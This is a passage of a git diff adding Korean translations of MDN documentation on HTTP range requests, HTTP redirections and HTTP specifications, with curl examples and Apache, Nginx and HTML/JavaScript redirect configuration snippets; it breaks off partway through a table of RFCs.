+<p>또 다른 API인 <a href="/ko/docs/Web/API/Server-sent_events">서버-전송 이벤트</a>는 서버가 전송 메커니즘으로 HTTP를 사용하여, 클라이언트로 이벤트를 보낼 수 있도록 하는 단방향 서비스입니다. 클라이언트는 {{domxref("EventSource")}} 인터페이스를 사용하여, 연결을 맺고 이벤트 핸들러를 설정합니다. 클라이언트 브라우저는 HTTP 스트림으로 도착한 메시지를 적절한 {{domxref("Event")}} 객체로 자동 변환하여, 알려진 경우 해당 이벤트 {{domxref("Event.type", "type")}}에 대해 등록된 이벤트 핸들러로 전달하거나 또는 특정 유형의 이벤트가 설정되지 않은 경우에는 {{domxref("EventSource.onmessage", "onmessage")}} 이벤트 핸들러로 전달합니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>HTTP는 사용이 쉬운 확장 가능한 프로토콜입니다. 헤더를 쉽게 추가하는 능력을 지닌 클라이언트-서버 구조는 HTTP가 웹의 확장된 수용력과 함께 발전할 수 있게 합니다.</p>
+
+<p>HTTP/2가 성능 향상을 위해 HTTP 메시지를 프레임 내로 임베드하여 약간의 복잡함을 더했을지라도, 애플리케이션의 관점에서 볼 때, 메시지의 기본적인 구조는 HTTP/1.0이 릴리즈된 이후와 동일합니다. 세션의 흐름은 여전히 단순하여, 간단한 <a href="/ko/docs/Tools/Network_Monitor">HTTP 메시지 모니터</a>를 이용한 조사와 디버그를 가능하게 해줍니다.</p>
diff --git a/files/ko/web/http/range_requests/index.html b/files/ko/web/http/range_requests/index.html
new file mode 100644
index 0000000000..23ef679b81
--- /dev/null
+++ b/files/ko/web/http/range_requests/index.html
@@ -0,0 +1,119 @@
+---
+title: HTTP range requests
+slug: Web/HTTP/Range_requests
+tags:
+ - HTTP
+ - HTTP 범위 요청
+ - 가이드
+translation_of: Web/HTTP/Range_requests
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">HTTP 범위 요청은 HTTP의 일정 부분만 서버에서 클라이언트로 보내도록 허락하는 것입니다. 부분 요청은 예를들어 대형 미디어나 파일 다운로드 도중 일시정지와 다시 시작 기능에 유용합니다.</p>
+
+<h2 id="서버가_부분_요청을_지원하는지_확인">서버가 부분 요청을 지원하는지 확인</h2>
+
+<p>서버가 range 요청을 지원한다면, HTTP 응답에 {{HTTPHeader("Accept-Ranges")}}이 존재(그리고 그 값이 "<code>none</code>"이 아님)할 것입니다. 이는 예를들면 {{HTTPMethod("HEAD")}} 를 cURL에서 요청함으로 확인할 수 있습니다.</p>
+
+<pre>curl -I http://i.imgur.com/z4d4kWk.jpg
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: bytes
+Content-Length: 146515
+</pre>
+
+<p>이 응답에서, <code>Accept-Ranges: bytes</code>는 바이트가 범위 요청에서 최소단위로 사용될 수 있음을 알려줍니다. 여기에서 {{HTTPHeader("Content-Length")}} 헤더 역시 이미지를 얻기 위한 최대 크기를 알 수 있어 유용합니다.</p>
+
+<p>만약 사이트에서 <code>Accept-Ranges</code>헤더를 빠트린다면, 분할 요청을 지원하지 않는 것으로 생각됩니다. 일부 사이트는 명확하게 "<code>none</code>"을 값으로 보내 지원하지 않는 것을 알려줍니다. 일부 어플리케이션에서는 다운로드 매니저에서 일시정지 버튼을 없애버리는 경우가 있습니다.</p>
+
+<pre>curl -I https://www.youtube.com/watch?v=EwTZ2xpQwpA
+
+HTTP/1.1 200 OK
+...
+Accept-Ranges: none
+</pre>
+
+<h2 id="서버에_특정_범위를_요청">서버에 특정 범위를 요청</h2>
+
+<p>만약 서버가 범위 요청을 지원한다면, {{HTTPHeader("Range")}} 헤더를 사용하여 요청할 수 있습니다. 이는 서버에서 문서의 일부분만 돌려주면 된다는 것을 알 수 있게 해줍니다.</p>
+
+<h3 id="단일_부분_범위">단일 부분 범위</h3>
+
+<p>우리는 리소스의 단일 부분에 대해서만 요청할 수 있습니다. 역시 cURL을 사용하여 테스트 합니다. "<code>-H</code>"는 HTTP요청의 헤더에 추가된다는 옵션이며, 이 경우에는 <code>Range</code>헤더로 첫 1024 바이트를 요청합니다.</p>
+
+<pre>curl http://i.imgur.com/z4d4kWk.jpg -i -H "Range: bytes=0-1023"</pre>
+
+<p>요청은 다음처럼 보여집니다:</p>
+
+<pre>GET /z4d4kWk.jpg HTTP/1.1
+Host: i.imgur.com
+Range: bytes=0-1023</pre>
+
+<p>서버에서 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답합니다:</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Range: bytes 0-1023/146515
+Content-Length: 1024
+...
+(binary content)
+</pre>
+
+<p>{{HTTPHeader("Content-Length")}} 헤더는 이제 요청한 범위의 크기(전체 이미지의 크기가 아님)를 알려줍니다. {{HTTPHeader("Content-Range")}} 헤더는 리소스의 전체 크기와 메시지가 어느 부분에 속하는지 알려줍니다.</p>
+
+<h3 id="다중_부분_범위">다중 부분 범위</h3>
+
+<p>{{HTTPHeader("Range")}} 헤더는 문서의 여러 부분 역시 다중 범위 요청을 통해 한번에 가져올 수 있습니다. 범위는 콤마로 나누어집니다.</p>
+
+<pre>curl http://www.example.com -i -H "Range: bytes=0-50, 100-150"</pre>
+
+<p>서버는 {{HTTPStatus("206")}} <code>Partial Content</code> 상태로 응답하며 {{HTTPHeader("Content-Type")}}<code>: multipart/byteranges; boundary=3d6b6a416f9b5</code> 는 다중 부분 바이트 범위를 알려줍니다. 각 부분은 고유의 <code>Content-Type</code>과 <code>Content-Range</code> 영역을 가지고 있으며, 경계를 나누는 문자열인 경계 파라미터를 필요로 합니다.</p>
+
+<pre>HTTP/1.1 206 Partial Content
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 282
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 0-50/1270
+
+&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+ &lt;title&gt;Example Do
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-150/1270
+
+eta http-equiv="Content-type" content="text/html; c
+--3d6b6a416f9b5--</pre>
+
+<h3 id="조건_분할_요청">조건 분할 요청</h3>
+
+<p>리소스에 대해 추가 요청을 재개하기에 앞서, 마지막에 분할된 데이터를 받은 이후 저장된 리소스가 수정되지는 않았는지 확인해야 합니다.</p>
+
+<p>{{HTTPHeader("If-Range")}} HTTP 요청 헤더는 범위 요청에 조건을 만듭니다: 만약 조건이 만족하면, 분할 요청은 서버에서 처리되어 {{HTTPStatus("206")}} <code>Partial Content</code> 응답과 함께 적절한 바디와 돌아올겁니다. 만약 조건이 만족하지 못한다면, 전체 리소스가 {{HTTPStatus("200")}} <code>OK</code> 상태로 보내집니다. 이 헤더는 {{HTTPHeader("Last-Modified")}} 확인자나 {{HTTPHeader("ETag")}}와 함께 사용될 수 있지만, 동시에는 안됩니다.</p>
+
+<pre>If-Range: Wed, 21 Oct 2015 07:28:00 GMT </pre>
+
+<h2 id="분할_요청_응답">분할 요청 응답</h2>
+
+<p>범위 요청을 처리할 때, 다음의 3가지 상태가 있습니다:</p>
+
+<ul>
+ <li>성공적으로 보내질 경우에는, {{HTTPStatus("206")}} <code>Partial Content</code> 상태가 서버에서 돌아옵니다.</li>
+ <li>범위를 벗어난 경우(범위 값이 리소스 크기를 벗어났을 때), 서버는 {{HTTPStatus("416")}} <code>Requested Range Not Satisfiable</code> 상태로 답합니다.</li>
+ <li>범위 요청을 지원하지 않는 경우, 서버는 {{HTTPStatus("200")}} <code>OK</code> 상태를 돌려보냅니다.</li>
+</ul>
+
+<h2 id="Chunked_Transfer-Encoding과_비교"><code>Chunked Transfer-Encoding</code>과 비교</h2>
+
+<p>{{HTTPHeader("Transfer-Encoding")}} 헤더는 <code>chunked encoding</code> 또한 지원하며, 이는 대용량 데이터를 클라이언트에 보낼 때와 요청이 모두 처리되기 전까지 총 크기를 알 수 없을 때 유용합니다. 서버는 데이터를 클라이언트에 응답 버퍼링 없이 즉시 보내거나, 정확한 길이를 측정하여 지연 시간을 향상시킵니다. 범위 요청과 청크는 호환되어 함께 사용할 수도 있고, 따로 사용할 수 있습니다.</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>연관된 상태 코드 {{HTTPStatus("200")}}, {{HTTPStatus("206")}}, {{HTTPStatus("416")}}.</li>
+ <li>연관된 헤더: {{HTTPHeader("Accept-Ranges")}}, {{HTTPHeader("Range")}}, {{HTTPHeader("Content-Range")}}, {{HTTPHeader("If-Range")}}, {{HTTPHeader("Transfer-Encoding")}}.</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/06/03/download-resumption-in-internet-explorer/">Download resumption in Internet Explorer</a></li>
+</ul>
diff --git a/files/ko/web/http/redirections/index.html b/files/ko/web/http/redirections/index.html
new file mode 100644
index 0000000000..86d37e976a
--- /dev/null
+++ b/files/ko/web/http/redirections/index.html
@@ -0,0 +1,256 @@
+---
+title: Redirections in HTTP
+slug: Web/HTTP/Redirections
+translation_of: Web/HTTP/Redirections
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">URL 리다이렉션 혹은 URL 포워딩은 페이지 따위의 실제 리소스, 폼 혹은 전체 웹 애플리케이션이 다른 URL에 위치하고 있는 상태에서 링크를 존속시키는 기술입니다. HTTP는 많은 목표를 위해 사용되는 이런 동작을 수행하기 위해 특별한 종류의 응답인 <em>HTTP 리다이렉트</em>를 제공합니다: 사이트 유지관리가 진행 중인 상태에서의 일시적인 리다이렉션, 사이트 아키텍쳐의 변경 이후에도 외부 링크를 동작하는 상태로 유지시키기 위한 영구적인 리다이렉션, 파일 업로드 시 진행 상태 페이지 그리고 그 외의 수많은 리다이렉션들 ...</p>
+
+<h2 id="원칙">원칙</h2>
+
+<p>HTTP에서, 리다이렉션은 요청에 대해 특별한 응답(<em>리다이렉트</em>)을 전송함으로써 촉발됩니다. HTTP 리다이렉트는 <code>3xx</code> 상태 코드를 지닌 응답입니다. 리다이렉트 응답을 수신한 브라우저는, 제공된 새로운 URL을 사용하며 그것을 즉시 로드합니다: 대부분의 경우, 리다이렉션은 사용자에게는 보이지 않는데다가, 적은 성능 저하를 일으킵니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13785/HTTPRedirect.png"></p>
+
+<p>리다이렉트에는 몇 가지 유형이 있으며 세 가지 카테고리로 나누어집니다: 영속적, 일시적 그리고 특수 리다이렉션.</p>
+
+<h3 id="영속적인_리다이렉션">영속적인 리다이렉션</h3>
+
+<p>이 리다이렉션은 영원히 지속됨을 의미합니다. 원래의 URL이 더 이상 사용되지 않아야 하며 새로운 URL을 더 선호해야 함을 시사합니다. 검색 엔진 로봇은 그들의 인덱스 내에서 리소스에 대한 연관 URL의 갱신을 촉발시킵니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">코드</th>
+ <th scope="col">텍스트</th>
+ <th scope="col">메서드 핸들링</th>
+ <th scope="col">일반적인 유스케이스</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>301</code></td>
+ <td><code>Moved Permanently</code></td>
+ <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+ 다른 메서드들은  {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr1">[1]</a></sup></td>
+ <td>웹 사이트의 재편성.</td>
+ </tr>
+ <tr>
+ <td><code>308</code></td>
+ <td><code>Permanent Redirect</code></td>
+ <td>메서드와 본문은 변하지 않습니다.</td>
+ <td>GET이 아닌 링크/동작을 지닌, 웹 사이트의 재편성.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="attr1" name="attr1"></a>[1] 명세는 메서드 변경을 허용할 의도가 없으나, 사실 상 사용자 에이전트들이 그렇게 하고 있습니다. <code>308</code> 은 <code>GET</code>이 아닌 메서드를 사용할 때 동작의 애매모호함을 제거하고자 만들어졌습니다.</p>
+
+<h3 id="일시적인_리다이렉션">일시적인 리다이렉션</h3>
+
+<p>때때로 요청된 리소스는 그것의 표준 위치에서 접근할 수 없고 다른 위치에서 접근 가능한 경우가 있습니다. 이런 경우 일시적인 리다이렉트가 사용될 수 있습니다. 검색 엔진 로봇은 새로운, 일시적인 링크를 기억하지 못합니다. 일시적인 리다이렉션은 일시적인 진행율 페이지를 표시하고자 리소스를 만들고 갱신하며 삭제할 때 사용될 수 도 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">코드</th>
+ <th scope="col">텍스트</th>
+ <th scope="col">메서드 핸들링</th>
+ <th scope="col">일반적인 유스 케이스</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>302</code></td>
+ <td><code>Found</code></td>
+ <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+ 다른 메서드들은  {{HTTPMethod("GET")}}로 변하거나 변하지 않을수도 있습니다.<sup><a href="#attr2">[2]</a></sup></td>
+ <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다.</td>
+ </tr>
+ <tr>
+ <td><code>303</code></td>
+ <td><code>See Other</code></td>
+ <td>{{HTTPMethod("GET")}} 메서드는 변경되지 않습니다.<br>
+ 다른 메서들은 <code>GET</code> 메서드로 <em>변경됩니다</em>(본문을 잃게 됩니다).</td>
+ <td>동작을 다시 촉발시키는 페이지 리프레시를 막기 위해 {{HTTPMethod("PUT")}} 혹은  {{HTTPMethod("POST")}} 뒤에 사용됩니다.</td>
+ </tr>
+ <tr>
+ <td><code>307</code></td>
+ <td><code>Temporary Redirect</code></td>
+ <td>메서드와 본문은 변경되지 않습니다.</td>
+ <td>웹 페이지가 예측하지 못한 이유로 일시적으로 이용 불가능할 때 가 있습니다. 그런 이유로, 검색 엔진은 그들의 링크를 갱신하지 않습니다. GET이 아닌 링크/동작이 사이트에서 이용 가능할 때 <code>302</code>보다 더 좋습니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p><a id="attr2" name="attr2"></a>[2] 명세에는 메서드 변경을 허용할 의도가 없으나, 실질적으로 사용자 에이전트들이 그렇게 하고 있습니다. <code>307</code> 은 <code>GET</code>이 아닌 메서드들을 사용하는 경우 동작의 애매모호함을 제거하기 위해 만들어집니다.</p>
+
+<h3 id="특수_리다이렉션">특수 리다이렉션</h3>
+
+<p>이런 보통 리다이렉션과 더불어, 특별한 두 가지 리다이렉션이 더 있습니다. {{HTTPStatus("304")}} (수정되지 않음)은 (오랜된)로컬에 캐시된 복사본으로 페이지를 리다이렉트시키며, {{HTTPStatus("300")}} (다중 선택)은 수동 리다이렉션입니다:브라우저에 의해 웹 페이지로 표현되는 분문은 가능한 리다이렉션을 나열하며 사용자는 그 중 하나를 선택하기 위해 클릭합니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">코드</th>
+ <th scope="col">텍스트</th>
+ <th scope="col">일반적인 유스케이스</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>300</code></td>
+ <td><code>Multiple Choice</code></td>
+ <td>이런 경우가 많지는 않습니다: 본문의 HTML 페이지 내에 선택지가 나열됩니다. {{HTTPStatus("200")}} <code>OK</code> 상태와 함께 서브될 수 있습니다.</td>
+ </tr>
+ <tr>
+ <td><code>304</code></td>
+ <td><code>Not Modified</code></td>
+ <td>캐시 리프레시: 캐시 값이 여전히 사용 가능할 정도로 신선함을 가리킵니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="리다이렉션을_명시하는_대체_방법">리다이렉션을 명시하는 대체 방법</h2>
+
+<p>HTTP 리다이렉트가 리다이렉션을 정의하는 유일한 방법은 아닙니다. 두 개의 다른 방법이 존재합니다: {{HTMLElement("meta")}} 엘리먼트를 사용하는 HTML 리다이렉션과 <a href="/en-US/docs/Web/API/Document_Object_Model">DOM</a>을 사용하는 자바스크립트 리다이렉션이 있습니다.</p>
+
+<h3 id="HTML_리다이렉션">HTML 리다이렉션</h3>
+
+<p>HTTP 리다이렉트는 리다이렉션을 만드는 가장 좋은 방법이지만, 때때로 웹 개발자는 서버에 대한 제어권을 가지고 있지 않거나 그것을 구성할 수 없는 경우가 있습니다. 이런 특수한 상황들 때문에, 웹 개발자들은 <code>refresh</code>를 설정하기 위해 페이지의 {{HTMLElement("head")}} 내에 {{HTMLElement("meta")}} 엘리먼트와 {{htmlattrxref("http-equiv", "meta")}} 속성으로 HTML 페이지를 만들 수 있습니다. 해당 페이지를 디스플레이할 때, 브라우저는 이 엘리먼트를 발견하고 표시된 페이지로 이동할 것입니다.</p>
+
+<pre class="brush: html notranslate">&lt;head&gt;
+ &lt;meta http-equiv="refresh" content="0;URL='http://www.example.com/'" /&gt;
+&lt;/head&gt;
+</pre>
+
+<p>{{htmlattrxref("content")}} 속성은 주어진 URL로 리다이렉트 하기 이전에 브라우저가 얼마만큼의 시간(초)을 기다려야 하는지를 나타내는 숫자로 시작됩니다. 더 나은 접근성을 위해 항상 0으로 설정하시기 바랍니다.</p>
+
+<p>두 말할 필요없이, 이 메서드는 HTML 페이지(혹은 그와 유사한 무언가)에서만 동작하며 이미지나 다른 어떤 종류의 컨텐츠에 대해서 사용될 수 없습니다.</p>
+
+<div class="note">
+<p>이런 리다이렉션들이 브라우저에서 뒤로 가기 버튼을 무용지물로 만든다는 것을 기억하시기 바랍니다: 해당 헤더가 있는 페이지로 다시 돌아갈 수 있는지만 즉시 앞으로 이동하게 될겁니다.</p>
+</div>
+
+<h3 id="자바스크립트_리다이렉션">자바스크립트 리다이렉션</h3>
+
+<p>자바스크립트 내에서의 리다이렉션은 {{domxref("window.location")}} 프로퍼티에 값을 설정해서 만들어지며 새로운 페이지가 로드됩니다.</p>
+
+<pre class="brush: js notranslate">window.location = "http://www.example.com/";</pre>
+
+<p>HTML 리다이렉션처럼, 모든 리소스에서 동작하는 것은 아니며, 명백하게 자바스크립트를 실행한 클라이언트 상에서만 동작합니다. 하지만 다른점은, 예를 들어 어떤 조건이 충족되는 경우에만 리다이렉션을 촉발시킬 수 있다는 점에서 더 많은 가능성을 가지고 있습니다.</p>
+
+<h3 id="우선_순위">우선 순위</h3>
+
+<p>URL 리다이렉션에 대한 세 가지 가능성이 있기에, 몇 가지 방법이 동시에 지정될 수 있는데, 어떤 것이 먼저 적용될까요? 우선 순위는 다음과 같습니다:</p>
+
+<ol>
+ <li>페이지가 읽힌 적도 없고 전송된 적도 없는 경우, HTTP 리다이렉트가 항상 먼저 실행됩니다.</li>
+ <li>어떤 HTTP 리다이렉트로 없는 경우에, HTML 리다이렉트 ({{HTMLElement("meta")}})가 실행됩니다.</li>
+ <li>자바스크립트 리다이렉트는 최후의 순단으로써 사용되며, 클라이언트 측에서 자바스크립트를 활성화시킨 경우에만 사용할 수 있습니다.</li>
+</ol>
+
+<p>가능한 경우, 항상 HTTP 리다이렉트를 사용해야 하며, {{HTMLElement("meta")}} 엘리먼트를 사용해서는 안됩니다. 만약 개발자가 HTTP 리다이렉트를 변경하고 HTML 리다이렉트를 잊는다면, 리다이렉트는 더 이상 동일한 한 것이 아니거나, 무한 루프로 종료되거나 다른 악몽이 시작될 수도 있습니다.</p>
+
+<h2 id="유스_케이스">유스 케이스</h2>
+
+<p>리다이렉트에 대한 많은 유스 케이스들이 존재하지만, 모든 리다이렉트들이 성능과 직결되므로, 리다이렉트의 사용은 최소한으로 유지되어야 합니다.</p>
+
+<h3 id="도메인_앨리어싱">도메인 앨리어싱</h3>
+
+<p>이상적으로, 하나의 로케이션이 존재하고, 그래서 하나의 리소스에 대해 하나의 URL이 존재한다고 가정하겠습니다. 그러나 하나의 리소스에 대한 대체 이름을 갖고자 할 때가 있을 수 있습니다 (www 접두사를 갖거나 갖지 않는 몇몇 도메인 혹은 URL을 더 짧고 기억하기 쉽도록하는 등...). 이런 경우, 리소스를 복제하기 보다는 실제 (정식) URL에 대한 리다이렉트를 사용하는 것이 더 유용합니다.</p>
+
+<p>도메인 앨리어싱을 하는 경우는 다음과 같습니다.</p>
+
+<ul>
+ <li>사이트 범위 확장. 당신의 사이트가 <code>www.example.com</code> 도메인을 가지고 있을 때 <code>example.com</code>을 통한 접근도 가능한 경우가 가장 흔한 경우입니다. <code>example.com</code> 페이지를  <code>www.example.com</code> 로 리다이렉션하는 것이 이 경우에 해당됩니다. 일반적으로 사용되는 별칭 혹은, 도메인 이름에 빈번히 일어나는 오자를 제공할 수도 있습니다.</li>
+ <li>다른 도메인으로의 이동. 예를 들어, 당신의 회사가 이름을 변경했고 이전 이름으로 검색하는 경우 여전히 회사의 옛날 이름으로 웹 사이트를 사용하는 사람들이 새로운 이름의 사이트를 이용하길 바라는 경우에 해당됩니다.</li>
+ <li>HTTPS 강제. 사이트에 대한 HTTP 버전 요청은 사이트의 HTTPS 버전으로 리다이렉트될 것입니다.</li>
+</ul>
+
+<h3 id="링크_유지하기">링크 유지하기</h3>
+
+<p>웹 사이트를 다시 만들때, 리소스의 URL이 변경되기 마련입니다. 새로운 네이밍 계획과 일치하도록 웹 사이트의 내부 링크를 갱신할 수 있는 경우조차도, 외부 리소스에 의해 사용되는 URL에 대해서는 어쩔 수가 없습니다. 그들은 당신에게 소중한 사용자이므로(또 SEO에 도움이 되길 바라는 마음으로) 해당 링크를 깨뜨리고 싶지 않을 것이기에, 이전 URL에서 새로운 URL로의 리다이렉트를 설정하려 할 겁니다.</p>
+
+<div class="note">
+<p>이 기술 또한 내부 링크에 대해서 동작하므로, 내부 리다이렉트는 피해야 할 겁니다. 리다이렉트는 상당한 성능 비용이 드므로(추가적인 HTTP 요청이 수행되므로) 내부 링크를 바로잡아 내부 다이렉트를 피할 수 있다면 해당 링크를 수정해야 합니다.</p>
+</div>
+
+<h3 id="안전하지_않은_요청에_대한_일시적인_응답">안전하지 않은 요청에 대한 일시적인 응답</h3>
+
+<p>{{Glossary("safe", "Unsafe")}} 요청이 서버의 상태를 수정할 경우, 사용자가 이를 우연히 재연할 수 있어서는 안됩니다. 일반적으로, 당신은 사용자가 {{HTTPMethod("PUT")}}, {{HTTPMethod("POST")}} 혹은 {{HTTPMethod("DELETE")}} 요청을 재전송하기를 바라지는 않을 겁니다. 만약 당신이 해당 요청의 결과로 지금 막 응답을 전송했다면, 단순히 새로고침 버전을 누르는 것만으로 요청은 재전송될 겁니다(아마도 확인 메시지 이후에).</p>
+
+<p>이런 경우, 서버는 올바른 정보를 포함하게 될 {{HTTPStatus("303")}} (See Other) 요청을 회신할 수 있는데, 새로 고침 버튼이 눌린 경우, 안전하지 않은 요청이 재연되지 않고 동일한 페이지가 다시 디스플레이될 것입니다.</p>
+
+<h3 id="긴_요청에_대한_일시적인_응답">긴 요청에 대한 일시적인 응답</h3>
+
+<p>어떤 요청들은 때때로 후처리를 위해 예정되는 {{HTTPHeader("DELETE")}} 요청처럼, 서버 상에서 좀 더 많은 시간을 필요로 하는 경우가 있습니다. 이와 같은 경우에, 응답은 {{HTTPStatus("303")}} (See Other) 리다이렉트로, 어떤 동작이 예정되어 있고 진행률에 관해 알려주고 그 동작을 취소할 수 있도록 해주는 페이지로 리다이렉트됩니다.</p>
+
+<h2 id="일반_서버_내_리다이렉트_구성">일반 서버 내 리다이렉트 구성</h2>
+
+<h3 id="Apache">Apache</h3>
+
+<p>리다이렉트는 서버 구성 파일 혹은 각 디렉토리의 <code>.htaccess</code> 내에서 설정될 수 있습니다.</p>
+
+<p><a href="https://httpd.apache.org/docs/current/mod/mod_alias.html">mod_alias</a> 모듈은 (기본값으로) {{HTTPStatus("302")}} 응답을 설정하는  <code>Redirect</code> 그리고 <code>Redirect_Match</code> 디렉티브를 가지고 있습니다:</p>
+
+<pre class="notranslate">&lt;VirtualHost *:80&gt;
+ ServerName example.com
+ Redirect / http://www.example.com
+&lt;/VirtualHost&gt;
+</pre>
+
+<p>URL <code>http://example.com/</code> 은 <code>http://www.example.com/</code> 로 리다이렉트됩니다(하지만 <code>http://example.com/other.html</code>은 리다이렉트되지 않습니다).</p>
+
+<p><code>Redirect_Match</code> 도 똑같이 동작하지만 영향을 받은 URL 컬렉션 정의를 위해 정규 표현식을 받습니다:</p>
+
+<pre class="notranslate">RedirectMatch ^/images/(.*)$ http://images.example.com/$1</pre>
+
+<p><code>images/</code> 폴더 내 모든 문서들은 다른 도메인으로 리다이렉트될 것입니다.</p>
+
+<p>일시적인 리다이렉트를 설정하고 싶지 않다면, 다른 리다이렉트를 설정하는데 여분의 파라메터(사용하고자 하는 HTTP 상태 코드 혹은 <code>permanent</code> 키워드)를 사용할 수 있습니다:</p>
+
+<pre class="notranslate">Redirect permanent / http://www.example.com
+Redirect 301 / http://www.example.com
+</pre>
+
+<p><a href="http://httpd.apache.org/docs/current/mod/mod_rewrite.html">mod_rewrite</a> 모듈도 리다이렉티를 만드는데 사용될 수 있습니다. 이것은 약간 더 복잡한데, 사용은 약간 더 복잡합니다.</p>
+
+<h3 id="Nginx">Nginx</h3>
+
+<p>Nginx에서는, 당신이 리다이렉트하고자 하는 컨텐츠에 대한 특정 서버 블록을 만들 수 있습니다:</p>
+
+<pre class="notranslate">server {
+ listen 80;
+ server_name example.com;
+ return 301 $scheme://www.example.com$request_uri;
+}</pre>
+
+<p>폴더 혹은 페이지의 하위 집합에만 적용되는 리다이렉트를 원한다면, <code>rewrite</code> 디렉티브를 사용하시기 바랍니다:</p>
+
+<pre class="notranslate">rewrite ^/images/(.*)$ http://images.example.com/$1 redirect;
+rewrite ^/images/(.*)$ http://images.example.com/$1 permanent;
+</pre>
+
+<h3 id="IIS">IIS</h3>
+
+<p>IIS에서는, 리다이렉션 구성을 위해 <code><a href="https://www.iis.net/configreference/system.webserver/httpredirect">&lt;httpRedirect&gt;</a></code> 요소를 사용할 수 있습니다.</p>
+
+<h2 id="리다이렉션_루프">리다이렉션 루프</h2>
+
+<p>리다이렉션 루프는 성공적인 리다이렉션이 이전의 리다이렉션을 다시 따라갈 때 일어납니다. 다시 말해, 결코 끝나지 않으면, 끝까지 어떤 페이지도 볼 수 없는 루프가 존재한다는 말입니다.</p>
+
+<p>대부분의 경우, 이런 문제는 서버 측 문제이며 서버가 이를 감지할 수 없다면, {{HTTPStatus("500")}} <code>Internal Server Error</code>를 회신할 것입니다. 서버 구성을 수정한 직후에 그런 오류를 보게 된다면, 그것은 리다이렉션 루프일 가능성이 큽니다.</p>
+
+<p>때로는, 서버가 그것을 감지하지 않을 때도 있을 겁니다: 전체적인 그림을 모르는 몇 개의 서버에 리다이렉션 루프가 행해지기 때문입니다. 이런 경우, 브라우저가 이를 감지하고 오류 메시지를 보여줄 것입니다. 파이어폭스는 다음과 같이 디스플레이하게 됩니다:</p>
+
+<pre class="bz_comment_text notranslate" id="comment_text_0">Firefox has detected that the server is redirecting the request for this address in a way that will never complete.</pre>
+
+<p>반면, 크롬은 다음과 같이 디스플레이합니다:</p>
+
+<pre class="notranslate">This Webpage has a redirect loop</pre>
+
+<p>모든 경우에, 사용자가 할 수 있는 일은 그리 많지 않습니다(사용자 측에서 캐시 혹은 쿠키의 불일치와 같은 어떤 변화를 주지 않은 이상말이죠).</p>
+
+<p>리다이렉션 루프는 사용자 경험을 완전히 망쳐놓기에 리다이렉션 루프를 피하는 것은 대단히 중요합니다.</p>
diff --git a/files/ko/web/http/resources_and_specifications/index.html b/files/ko/web/http/resources_and_specifications/index.html
new file mode 100644
index 0000000000..9d7ccbee70
--- /dev/null
+++ b/files/ko/web/http/resources_and_specifications/index.html
@@ -0,0 +1,242 @@
+---
+title: HTTP 리소스와 명세
+slug: Web/HTTP/Resources_and_specifications
+translation_of: Web/HTTP/Resources_and_specifications
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP는 1990년 초에 처음으로 명세되었습니다. 확장성을 염두에 두고 설계하였고, 해를 거듭하면서 더 많은 추가 사항들이 세상에 나왔습니다; 이런 일로 많은 명세서를 통해 세상에 뿌려진 명세들이 나오게 되었습니다(실험되다가 폐기된 확장들 가운데에서도). 이 페이지에서는 HTTP와 관련해 의미가 있는 리소스들을 나열하고 있습니다.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ <th scope="col">상태</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{rfc(7230)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7231)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7232)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7233)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7234)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(5861)}}</td>
+ <td>HTTP Cache-Control Extensions for Stale Content</td>
+ <td>Informational</td>
+ </tr>
+ <tr>
+ <td>{{rfc(7235)}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Authentication</td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
+ <td>{{rfc(6265)}}</td>
+ <td>HTTP State Management Mechanism<br>
+ <em>Defines Cookies</em></td>
+ <td>Proposed Standard</td>
+ </tr>
+ <tr>
